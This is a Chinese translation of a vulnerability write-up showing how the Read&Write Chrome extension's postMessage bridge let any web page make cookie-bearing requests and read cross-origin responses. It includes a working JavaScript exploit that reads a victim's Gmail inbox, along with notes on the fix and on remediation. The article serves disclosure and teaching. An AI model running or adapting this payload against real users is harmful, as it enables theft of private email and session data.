使用Chrome扩展程序进行同源策略绕过来读取用户的电子邮件
Pinging WEB安全 9508浏览 · 2019-04-15 01:27

本文为2018年十大网络黑客技术题名文章,欢迎来读

摘要

由于常规网页在传递消息的过程中缺乏正确的检查,所以这些网页中的Chrome扩展程序均可以调用后台页面的API。这些API对一些危险的操作并没有进行过滤,然而这些操作不能由互联网上的网页进行调用。例如,后台API可以调用“thGetVoices”方法,并提供由扩展名进行检索的URL以及通过“postMessage”方法返回的响应。通过此调用,攻击者可以使用受害者的身份会话进行劫持以从其他网站读取数据。为了验证我的设想,我创建了一个漏洞利用程序,在安装了扩展程序后,我成功的窃取并打印出所有用户的电子邮件。这并不是Gmail中的漏洞,而是使用此漏洞而产生的漏洞利用示例。texthelp在下一个工作日对其进行了修复工作。因此,最新版本的扩展程序不会受到此问题的影响。他们将进一步加强代码库的编写工作。

漏洞利用过程

Read&Write 谷歌扩展程序使用脚本“inject.js”将自定义工具栏注入各种在线文档页面,例如Google Docs。 默认情况下,此内容脚本将注入所有HTTPHTTPS源。 扩展的清单中的以下摘录证明了这一点:

...trimmed for brevity...
  "content_scripts": [
    {
      "matches": [ "https://*/*", "http://*/*" ],
      "js": [ "inject.js" ],
      "run_at": "document_idle",
      "all_frames": true
    }
  ],
...trimmed for brevity...

在“inject.js”文件中,有一个事件监听器,用于通过postMessage并使用内容脚本注入的网页来发送消息:

window.addEventListener("message", this.onMessage)

这会在网页窗口的postMessage上调用“this.onMessage”函数。 以下是此功能的代码:

function onMessage() {
    void 0 != event.source && void 0 != event.data && event.source == window && "1757FROM_PAGERW4G" == event.data.type && ("connect" == event.data.command ? chrome.extension.sendRequest(event.data, onRequest) : "ejectBar" == event.data.command ? ejectBar() : "th-closeBar" == event.data.command ? chrome.storage.sync.set({
        enabledRW4GC: !1
    }) : chrome.extension.sendRequest(event.data, function(e) {
        window.postMessage(e, "*")
    }))
}

在上面的代码片段中,可以看到该函数将通过“chrome.extension.sendRequest”将所有收到的postMessage消息传递给后台页面。 此外,对这些消息的响应将传递回“onMessage”函数,然后传递回网页。 这构造了一个代理,允许常规网页将消息发送到读写后台页面。

Read&Write有许多后台页面,可以在扩展名清单的摘录中看到:

...trimmed for brevity...
"background": {
  "scripts": [
    "assets/google-analytics-bundle.js",
    "assets/moment.js",
    "assets/thFamily3.js",
    "assets/thHashing.js",
    "assets/identity.js",
    "assets/socketmanager.js",
    "assets/thFunctionManager.js",
    "assets/equatio-latex-extractor.js",
    "assets/background.js",
    "assets/xmlIncludes/linq.js",
    "assets/xmlIncludes/jszip.js",
    "assets/xmlIncludes/jszip-load.js",
    "assets/xmlIncludes/jszip-deflate.js",
    "assets/xmlIncludes/jszip-inflate.js",
    "assets/xmlIncludes/ltxml.js",
    "assets/xmlIncludes/ltxml-extensions.js",
    "assets/xmlIncludes/testxml.js"
  ]
},
...trimmed for brevity...

虽然有许多背景页面可以监听消息(以及许多通过这些消息调用的函数),但我们将主要研究于一个可进行利用的示例。 以下是文件“background.js”的摘录:

...trimmed for brevity...
chrome.extension.onRequest.addListener(function(e, t, o) {
...trimmed for brevity...
if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) {
    if (g_voices.length > 0 && "true" !== e.payload.refresh) return void o({
        method: "thGetVoices",
        type: "1757FROM_BGRW4G",
        payload: {
            response: g_voices
        }
    });
    var c = new XMLHttpRequest;
    c.open("GET", e.payload.url, !0), c.onreadystatechange = function() {
        4 == this.readyState && 200 == this.status && (g_voices = this.responseText.toString(), o({
            method: "thGetVoices",
            type: "1757FROM_BGRW4G",
            payload: {
                response: g_voices
            }
        }))
    }, c.send()
}
...trimmed for brevity...

上面的代码片段显示,当“chrome.extension.onRequest”侦听器被一个事件触发时,其“method”被设置为“thGetVoices”“type”设置为“1757FROM_PAGERW4G”,将执行该片段。 如果事件的“payload.refresh”设置为字符串“true”,则XMLHTTPRequest将使用GET触发“payload.url”中指定的URL。 在XMLHTTPRequest完成,状态代码为200时,将使用请求的responseText生成响应消息。

通过使用此调用,我们可以使用URL向后台页面发送消息,该URL将与HTTP响应正文一起回复。 此请求将使用受害者的cookie执行,因此将允许网页上的payload窃取来自其他Web的内容。 以下payload是一个利用此功能的示例的例子:

function exploit_get(input_url) {
    return new Promise(function(resolve, reject) {
        var delete_callback = false;
        var event_listener_callback = function(event) {
            if ("data" in event && event.data.payload.response) {
                window.removeEventListener("message", event_listener_callback, false);
                resolve(event.data.payload.response);
            }
        };
        window.addEventListener("message", event_listener_callback, false);
        window.postMessage({
            type: "1757FROM_PAGERW4G",
            "method": "thGetVoices",
            "payload": {
                "refresh": "true",
                "url": input_url
            }
        }, "*");
    });
}
setTimeout(function() {
    exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) {
        alert("Gmail emails have been stolen!");
        alert(response_body);
    });
}, 1000);

上述漏洞利用代码进行攻击,并可以通过此漏洞读取跨源响应。在这种情况下,我们提供了Gmail的“简单HTML”版本的端点。上述payload可以托管在任何网站上,并且可以读取Gmail的用户的电子邮件。这个过程通过postMessage发出带有相应payload的消息并为响应消息添加事件监听器。通过链接通过“exploit_get()”函数返回的JavaScript Promises,我们可以从用户通过身份验证的任何站点窃取数据(假设可以通过HTTP GET访问而无需任何特殊标头)。

上面的示例引用了“thGetVoices”后台方法进行调用,但这只是调用后台页面API时出现的漏洞之一。除了使用此调用之外,还可以利用以下漏洞的其他一些示例:

“thExtBGAjaxRequest”,攻击者可以使用它来执行带有参数的“application/x-www-form-urlencoded; charset = UTF-8”类型的任意POST请求并读取响应正文。
“OpenTab”允许攻击者打开网页中的选项卡操作。

补救措施

此漏洞为一个常见的安全隐患,通常会在扩展程序处出现。 为了更灵活地使用Chrome扩展程序API,许多扩展程序将构建一个桥接,以允许从常规Web上下文中调用后台页面。 然而许多Chrome扩展程序开发人员忘记验证邮件的来源,所以在这种情况下,理想的操作可能是将大部分逻辑移动到内容脚本中,而不是通过postMessage进行调用。通过验证isTrusted属性触发的事件侦听器进行调用。 通过这种方式,可以确保所有呼叫都由用户操作触发,而不是由攻击者伪造。

本文为翻译稿件,来自:[https://thehackerblog.com/reading-your-emails-with-a-readwrite-chrome-extension-same-origin-policy-bypass-8-million-users-affected/index.html](https://thehackerblog.com/reading-your-emails-with-a-readwrite-chrome-extension-same-origin-policy-bypass-8-million-users-affected/index.html)
0 条评论
某人
表情
可输入 255

没有评论